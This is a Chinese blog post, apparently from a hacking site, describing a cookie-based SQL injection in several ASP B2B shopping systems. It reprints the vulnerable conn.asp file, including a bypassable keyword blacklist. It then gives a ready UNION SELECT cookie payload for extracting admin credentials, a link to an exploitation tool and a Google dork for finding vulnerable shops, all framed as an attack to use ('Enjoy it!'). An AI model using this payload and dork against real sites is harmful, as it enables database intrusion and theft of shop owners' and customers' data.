久久久电脑

B2B电子商务购物网站Cookies注入漏洞 んㄗ葑訫鎖愛'S Blog http://www.virusest.com
这个Cookies注入存在于多个B2B购物系统中，测试时有网域高科的，唐网科技的。不知道who copy who的代码。这里就是唐网科技 电子商务购物网店管理系统首饰专营版 为例。问题出在conn文件中。全贴出来，看注释。

dim conn,connstr,startime,Buy2Buy,rs,UserAgent
startime=timer()
Buy2Buy="Data/#maxtangcn#data.asp"
UserAgent = Trim(Lcase(Request.Servervariables("HTTP_USER_AGENT"))) '取得用户HTTP设备的变量
If InStr(UserAgent,"teleport") > 0 or InStr(UserAgent,"webzip") > 0 or InStr(UserAgent,"flashget")>0 or InStr(UserAgent,"offline")>0 Then
Response.Write "非法浏览!"
Response.End '当使用teleport或者FlashGet等其他浏览器时提示非法浏览
End If

Function SafeRequest(ParaName,ParaType) 'SafeRequest对传递的参数做整形判断
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write " 参数" & ParaName & "必须为数字型，请正确操作！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function


Function FormatSQL(strChar) 'FormatSQL函数过滤了一些特殊符号
if strChar="" then
FormatSQL=""
else
FormatSQL=replace(replace(replace(replace(replace(replace(replace(replace(strChar,"'","’"),"*","×"),"?","？"),"(","（"),")","）"),"<","〈"),".","。"),";","；")
end if
End Function

Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx '这里是脆弱的防注入系统，可以绕过，不是本文重点讨论范围
Fy_Cl = 1
Fy_Zx = "index.Asp"
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
省略部分代码
Response.End
End If
End If
Next

connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&Buy2Buy&"")
On Error Resume Next
Set conn = Server.CreateObject("ADODB.Connection")
conn.open connstr
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错，请检查Conn.asp中的数据库指向。"'
Response.End
End If

Dim strTitle,LngDiscount,strUserName,LngUserID,LngGrpID,LngDeposit,rsVip,strUserEmail
LngDiscount = 1
LngUserID = 0
LngDeposit = 0
strUserName = "非注册用户"
strTitle = "非注册用户"
if Request.Cookies("Buy2Buy")("username")<>"" then '问题在这，从Cookies中取得用户名带入数据库查询由于前面的防注入不防request.Cookies，我们可以进行注入
set rsVip=server.CreateObject("adodb.recordset")
rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username='"&request.Cookies("Buy2Buy")("username")&"' ",conn,1,1
strTitle = rsVip("GrpName")
LngDiscount = rsVip("Stars")
LngGrpID = Clng(rsVip("GrpID"))
strUserName = rsVip("UserName")
LngUserID = Clng(rsVip("UserID"))
LngScore = Clng(rsVip("Score"))
LngDeposit = rsVip("Deposit")
strUserEmail = rsVip("UserEmail")
rsVip.close
set rsVip=nothing
End If

Select Case LngGrpID
Case ""
LstPrice = "Price2"

Case 4
LstPrice = "Price2"

Case 30
LstPrice = "Price3"

Case 31
LstPrice = "Price4"

Case 32
LstPrice = "Price5"

End Select

由上述代码可知Cookies属性为Buy2Buy=username= 数数字段，一共8个，构造注入语句
Buy2Buy=username=shaun' and 1=2 union select 1,2,3,4,5,admin,7,8 from admin where ''='
将其进行URLEncode加密，用修改Cookies的软件修改Cookie，刷新页面，就会看到想看到的东西。
这里给出利用工具。http://www.virusest.com/shaun.asp 如果看到用户名被注册，直接复制网址破解即可。Enjoy it！
Google：inurl:b2b_cplist.asp?catid